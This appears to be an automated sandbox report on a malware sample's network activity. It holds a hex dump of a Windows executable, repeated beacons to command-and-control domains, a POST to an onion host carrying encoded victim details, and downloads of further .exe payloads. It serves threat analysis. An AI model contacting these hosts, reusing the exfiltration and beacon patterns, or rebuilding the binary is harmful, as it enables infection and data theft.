00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 07 Jan 2024 04:30:27 GMTContent-Type: application/octet-streamContent-Length: 6775808Last-Modified: Wed, 03 Jan 2024 18:38:18 GMTConnection: keep-aliveETag: "6595a99a-676400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 9a a9 95 65 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 5a 67 00 00 08 00 00 00 00 00 00 3e 78 67 00 00 20 00 00 00 80 67 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 c0 67 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 f0 77 67 00 4b 00 00 00 00 80 67 00 48 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 67 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 44 58 67 00 00 20 00 00 00 5a 67 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 48 05 00 00 00 80 67 00 00 06 00 00 00 5c 67 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 a0 67 00 00 02 00 00 00 62 67 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 78 67 00 00 00 00 00 48 00 00 00 02 00 05 00 2c 62 67 00 c4 15 00 00 03 00 00 00 01 00 00 06 a8 27 00 00 81 3a 67 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 30 03 00 5f 01 00 00 01 00 00 11 7e 03 00 00 04 2c 0d 28 11 00 00 06 2c 06 16 28 0d 00 00 0a 7e 04 00 00 04 2c 0d 28 13 00 00 06 2c 06 16 28 0d 00 00 0a 7e 05 00 00 04 2c 0d 28 15 00 00 06 2c 06 16 28 0d 00 00 0a 7e 06 00 00 04 2c 0d 28 16 00 00 06 2c 06 16 28 0d 00 00 0a 7e 01 00 00 04 2c 10 7e 02 00 00 04 20 e8 03 00 00 5a 28 0e 00 00 0a 7e 07 00 00 04 2c 11 72 01 00 00 70 72 01 00 00 70 16 28 09 00 00 06 26 16 0a 38 c2 00 00 00 7e 0c 00 00 04 06 6f 0f 00 00 0a 0b 7e 0d 00 00 04 06 6f 0f 00 00 0a 0c 7e 0e 00 00 04 06 6f 0f 00 00 0a 0d 7e 0f 00 00 04 06 6f 0f 00 00 0a 13 04 07 28 08 00 00 06 13 05 7e 0a 00 00 04 2c 09 11 05 28 02 00 00 06 13 05 7e 09 00 00 04 72 03 00 00 70 28 10 00 00 0a 2c 1a 28 11 00 00 0a 72 19 00 00 70 6f 12 00 00 0a 11 05 28 04 00 00 06 13 05 2b 29 7e 09 00 00 04 72 31 00 00 70 28 10 00 00 0a 2c 18 11 05 28 11 00 00 0a 72 19 00 00 70 6f 12 00 00 0a 28 03 00 00 06 13 05 11 04 07 08 28 13 00 00 0a 28 14 00 00

Source: global traffic	HTTP traffic detected: GET /tor_proxies HTTP/1.1Host: t.meConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/z2fzAVz5 HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /json HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /stld/ef0e6c9136fd4b779a75726a388c8439?u=am9uZXM%3D&p=ODMwMDIx&i=MTkxLjk2LjIyNy4xNzY%3D&co=VW5pdGVkIFN0YXRlcyAoVVMp&ci=TmV3IFlvcms%3D&t=RGVmYXVsdA%3D%3D HTTP/1.1Host: izrukvro5khcol3z7cvvdq3akeunlod2gshgn7ppo3a4jvse3z5hpiyd.onionContent-Length: 111600Expect: 100-continueConnection: Keep-AliveData Raw: Data Ascii:

Source: Joe Sandbox View

IP Address: 109.175.29.39 109.175.29.39

Source: Joe Sandbox View	ASN Name: RU-KSTVKolomnaGroupofcompaniesGuarantee-tvRU RU-KSTVKolomnaGroupofcompaniesGuarantee-tvRU
Source: Joe Sandbox View	ASN Name: BIHNETBIHNETAutonomusSystemBA BIHNETBIHNETAutonomusSystemBA

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: 83d60721ecc423892660e275acc4dffd

Source: unknown

DNS query: name: ip-api.com

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: drownthinsaltroutese.pw
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 52Host: drownthinsaltroutese.pw
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 629Host: drownthinsaltroutese.pw
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 19499Host: drownthinsaltroutese.pw
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 629Host: drownthinsaltroutese.pw
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 629Host: drownthinsaltroutese.pw
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 629Host: drownthinsaltroutese.pw
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 629Host: drownthinsaltroutese.pw
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 629Host: drownthinsaltroutese.pw
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 9609Host: drownthinsaltroutese.pw
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 629Host: drownthinsaltroutese.pw
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 629Host: drownthinsaltroutese.pw
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 629Host: drownthinsaltroutese.pw
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 629Host: drownthinsaltroutese.pw
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 629Host: drownthinsaltroutese.pw
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20435Host: drownthinsaltroutese.pw
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 5436Host: drownthinsaltroutese.pw
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 787Host: drownthinsaltroutese.pw
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 564934Host: drownthinsaltroutese.pw
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mbtiqoisbng.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 161Host: selebration17io.io
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://cflepwuecdwdlle.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 114Host: selebration17io.io
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://cbguytuewcurtbx.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 250Host: selebration17io.io
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://spoycyuufprnueh.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 166Host: selebration17io.io
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kcmqufrsnlej.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 303Host: selebration17io.io
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://emrlfbqltvs.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 242Host: selebration17io.io
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nerqibkmlpc.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 209Host: selebration17io.io
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://htcxmdftrdwxnno.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 112Host: selebration17io.io
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ogopsbwfnbysgynq.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 282Host: selebration17io.io
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nwjnqtbfmxoddob.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 346Host: selebration17io.io
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://cjdvndnfdroykqao.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 129Host: selebration17io.io
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://uuaysnecntyjjh.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 132Host: selebration17io.io
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://glpsriaubfgujiwi.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 123Host: selebration17io.io
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://gbiinvopfmdt.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 135Host: selebration17io.io
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://slivtqoptwvrgq.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 142Host: selebration17io.io
Source: global traffic	HTTP traffic detected: GET /ftp/index.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: ftpvoyager.cc
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ueeebefwwpm.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 285Host: selebration17io.io
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fcgipjpvvtltjpvp.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 137Host: selebration17io.io
Source: global traffic	HTTP traffic detected: GET /order/tuc5.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: hugo.topteamlife.com
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://bgipahlogkotrrb.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 354Host: selebration17io.io
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ltilqlkbbnhbgnpd.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 182Host: selebration17io.io
Source: global traffic	HTTP traffic detected: GET /288c47bbc187111b439df19ff4df68f076.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 5.42.66.0
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vrpyhybyscdqjqo.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 308Host: selebration17io.io
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://aunqllmjsfhfl.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 260Host: gxutc2c.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fgxpblrvkyqfs.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 264Host: gxutc2c.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://byajjksfuiq.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 365Host: gxutc2c.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://uvkhejoinmlfb.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 339Host: gxutc2c.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://skysuydpgasd.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 362Host: gxutc2c.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ylfmtobnffbq.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 343Host: gxutc2c.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jpxwajpdnkogimiw.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 366Host: gxutc2c.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ctvxrapgisc.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 281Host: gxutc2c.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ictpimjqevsiiw.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 367Host: gxutc2c.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wjbrgmaqxdg.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 205Host: gxutc2c.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://oeuarjhscgtxb.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 185Host: gxutc2c.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kmjcixwafidrft.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 265Host: gxutc2c.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://gnptdrklcangjx.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 359Host: gxutc2c.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ymhxlrbyafkagxbs.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 327Host: gxutc2c.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ewuooimuofjgrsja.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 319Host: gxutc2c.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mjpupsgsyyvqpl.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 328Host: gxutc2c.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://samlekvmkgd.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 167Host: gxutc2c.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ioueyomybwjluyi.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 268Host: gxutc2c.com

Source: unknown	TCP traffic detected without corresponding DNS query: 192.36.38.33
Source: unknown	TCP traffic detected without corresponding DNS query: 192.36.38.33
Source: unknown	TCP traffic detected without corresponding DNS query: 192.36.38.33
Source: unknown	TCP traffic detected without corresponding DNS query: 192.36.38.33
Source: unknown	TCP traffic detected without corresponding DNS query: 192.36.38.33
Source: unknown	TCP traffic detected without corresponding DNS query: 78.46.174.72
Source: unknown	TCP traffic detected without corresponding DNS query: 192.36.38.33
Source: unknown	TCP traffic detected without corresponding DNS query: 185.220.101.23
Source: unknown	TCP traffic detected without corresponding DNS query: 78.46.174.72
Source: unknown	TCP traffic detected without corresponding DNS query: 185.220.101.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.220.101.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.220.101.23
Source: unknown	TCP traffic detected without corresponding DNS query: 78.46.174.72
Source: unknown	TCP traffic detected without corresponding DNS query: 185.220.101.23
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.112.25
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.112.25
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.112.25
Source: unknown	TCP traffic detected without corresponding DNS query: 78.46.174.72
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.112.25
Source: unknown	TCP traffic detected without corresponding DNS query: 78.46.174.72
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.112.25
Source: unknown	TCP traffic detected without corresponding DNS query: 178.17.170.13
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 178.17.170.13
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 193.23.244.244
Source: unknown	TCP traffic detected without corresponding DNS query: 178.17.170.13
Source: unknown	TCP traffic detected without corresponding DNS query: 178.17.170.13
Source: unknown	TCP traffic detected without corresponding DNS query: 178.17.170.13
Source: unknown	TCP traffic detected without corresponding DNS query: 47.254.134.152
Source: unknown	TCP traffic detected without corresponding DNS query: 47.254.134.152
Source: unknown	TCP traffic detected without corresponding DNS query: 47.254.134.152
Source: unknown	TCP traffic detected without corresponding DNS query: 47.254.134.152
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.0
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.0
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.0
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.0
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.0
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.0
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.0
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.0
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.0
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.0
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.0
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.0
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.0
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.0

Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif

Code function: 21_2_00007FF73D0CFA30 InternetQueryDataAvailable,InternetReadFile,

21_2_00007FF73D0CFA30

Source: global traffic	HTTP traffic detected: GET /tor_proxies HTTP/1.1Host: t.meConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/z2fzAVz5 HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ftp/index.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: ftpvoyager.cc
Source: global traffic	HTTP traffic detected: GET /order/tuc5.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: hugo.topteamlife.com
